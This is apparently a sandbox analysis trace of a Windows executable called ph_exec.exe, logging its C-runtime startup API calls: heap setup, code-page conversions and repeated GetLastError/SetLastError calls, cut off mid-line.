# Flog Txt Version 1 # Analyzer Version: 3.0.2 # Analyzer Build Date: May 15 2019 18:28:42 # Log Creation Date: 24.05.2019 07:25:11.441 Process: id = "1" image_name = "ph_exec.exe" filename = "c:\\users\\fd1hvy\\desktop\\ph_exec.exe" page_root = "0x750d8000" os_pid = "0xe64" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\Users\\FD1HVy\\Desktop\\ph_exec.exe\" " cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1 os_tid = 0xa7c [0031.305] GetStartupInfoW (in: lpStartupInfo=0xc9f998 | out: lpStartupInfo=0xc9f998*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\FD1HVy\\Desktop\\ph_exec.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x401, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x10001, hStdError=0x0)) [0031.305] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0031.305] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0x2b10000 [0031.311] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75e90000 [0031.311] GetProcAddress (hModule=0x75e90000, lpProcName="FlsAlloc") returned 0x75ea4ae0 [0031.311] GetProcAddress (hModule=0x75e90000, lpProcName="FlsGetValue") returned 0x75ea4b20 [0031.312] GetProcAddress (hModule=0x75e90000, lpProcName="FlsSetValue") returned 0x75ea4b40 [0031.312] GetProcAddress (hModule=0x75e90000, lpProcName="FlsFree") returned 0x75ea4b00 [0031.312] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x214) returned 0x2b105a8 [0031.312] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75e90000 [0031.312] GetCurrentThreadId () returned 0xa7c [0031.312] GetStartupInfoW (in: lpStartupInfo=0xc9f934 | out: lpStartupInfo=0xc9f934*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\FD1HVy\\Desktop\\ph_exec.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x401, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x10001, hStdError=0x0)) [0031.313] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x800) returned 0x2b107c8 [0031.313] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0031.313] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0031.313] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0031.313] SetHandleCount (uNumber=0x20) returned 0x20 [0031.313] GetCommandLineA () returned="\"C:\\Users\\FD1HVy\\Desktop\\ph_exec.exe\" " [0031.313] GetEnvironmentStringsW () returned 0x10cf8f8* [0031.313] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1381 [0031.313] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x565) returned 0x2b10fd0 [0031.313] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x2b10fd0, cbMultiByte=1381, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1381 [0031.313] FreeEnvironmentStringsW (penv=0x10cf8f8) returned 1 [0031.313] GetLastError () returned 0xcb [0031.313] SetLastError (dwErrCode=0xcb) [0031.313] GetLastError () returned 0xcb [0031.313] SetLastError (dwErrCode=0xcb) [0031.313] GetLastError () returned 0xcb [0031.313] SetLastError (dwErrCode=0xcb) [0031.313] GetACP () returned 0x4e4 [0031.313] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x220) returned 0x2b11540 [0031.313] GetLastError () returned 0xcb [0031.313] SetLastError (dwErrCode=0xcb) [0031.313] IsValidCodePage (CodePage=0x4e4) returned 1 [0031.313] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0xc9f8fc | out: lpCPInfo=0xc9f8fc) returned 1 [0031.313] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0xc9f3c8 | out: lpCPInfo=0xc9f3c8) returned 1 [0031.313] GetLastError () returned 0xcb [0031.313] SetLastError (dwErrCode=0xcb) [0031.313] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xc9f7dc, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0031.314] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xc9f7dc, cbMultiByte=256, lpWideCharStr=0xc9f148, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ鳇ÍĀ") returned 256 [0031.314] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ鳇ÍĀ", cchSrc=256, lpCharType=0xc9f3dc | out: lpCharType=0xc9f3dc) returned 1 [0031.314] GetLastError () returned 0xcb [0031.314] SetLastError (dwErrCode=0xcb) [0031.314] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xc9f7dc, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0031.314] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xc9f7dc, cbMultiByte=256, lpWideCharStr=0xc9f118, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0031.314] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0031.314] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0xc9ef08, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ") returned 256 [0031.314] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ", cchWideChar=256, lpMultiByteStr=0xc9f6dc, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xbd\xf6\x09\x7b\x14\xf9\xc9", lpUsedDefaultChar=0x0) returned 256 [0031.314] GetLastError () returned 0xcb [0031.314] SetLastError (dwErrCode=0xcb) [0031.314] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xc9f7dc, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0031.314] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xc9f7dc, cbMultiByte=256, lpWideCharStr=0xc9f138, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0031.314] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0031.314] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0xc9ef28, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ") returned 256 [0031.314] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ", cchWideChar=256, lpMultiByteStr=0xc9f5dc, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xbd\xf6\x09\x7b\x14\xf9\xc9", lpUsedDefaultChar=0x0) returned 256 [0031.314] GetModuleFileNameA (in: hModule=0x0, lpFilename=0xcdf728, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\ph_exec.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\ph_exec.exe")) returned 0x23 [0031.314] GetLastError () returned 0x0 [0031.314] SetLastError (dwErrCode=0x0) [0031.314] GetLastError () returned 0x0 [0031.314] SetLastError (dwErrCode=0x0) [0031.314] GetLastError () returned 0x0 [0031.314] SetLastError (dwErrCode=0x0) [0031.314] GetLastError () returned 0x0 [0031.314] SetLastError (dwErrCode=0x0) [0031.314] GetLastError () returned 0x0 [0031.314] SetLastError (dwErrCode=0x0) [0031.314] GetLastError () returned 0x0 [0031.314] SetLastError (dwErrCode=0x0) [0031.314] GetLastError () returned 0x0 [0031.315] SetLastError (dwErrCode=0x0) [0031.315] GetLastError () returned 0x0 [0031.315] SetLastError (dwErrCode=0x0) [0031.315] GetLastError () returned 0x0 [0031.315] SetLastError (dwErrCode=0x0) [0031.315] GetLastError () returned 0x0 [0031.315] SetLastError (dwErrCode=0x0) [0031.315] GetLastError () returned 0x0 [0031.315] SetLastError (dwErrCode=0x0) [0031.315] GetLastError () returned 0x0 [0031.315] SetLastError (dwErrCode=0x0) [0031.315] GetLastError () returned 0x0 [0031.315] SetLastError (dwErrCode=0x0) [0031.315] GetLastError () returned 0x0 [0031.315] SetLastError (dwErrCode=0x0) [0031.315] GetLastError () returned 0x0 [0031.315] SetLastError (dwErrCode=0x0) [0031.315] GetLastError () returned 0x0 [0031.315] SetLastError (dwErrCode=0x0) [0031.315] GetLastError () returned 0x0 [0031.315] SetLastError (dwErrCode=0x0) [0031.315] GetLastError () returned 0x0 [0031.315] SetLastError (dwErrCode=0x0) [0031.315] GetLastError () returned 0x0 [0031.315] SetLastError (dwErrCode=0x0) [0031.315] GetLastError () returned 0x0 [0031.315] SetLastError (dwErrCode=0x0) [0031.315] GetLastError () returned 0x0 [0031.315] SetLastError (dwErrCode=0x0) [0031.315] GetLastError () returned 0x0 [0031.315] SetLastError (dwErrCode=0x0) [0031.315] GetLastError () returned 0x0 [0031.316] SetLastError (dwErrCode=0x0) [0031.316] GetLastError () returned 0x0 [0031.316] SetLastError (dwErrCode=0x0) [0031.316] GetLastError () returned 0x0 [0031.316] SetLastError (dwErrCode=0x0) [0031.316] GetLastError () returned 0x0 [0031.316] SetLastError 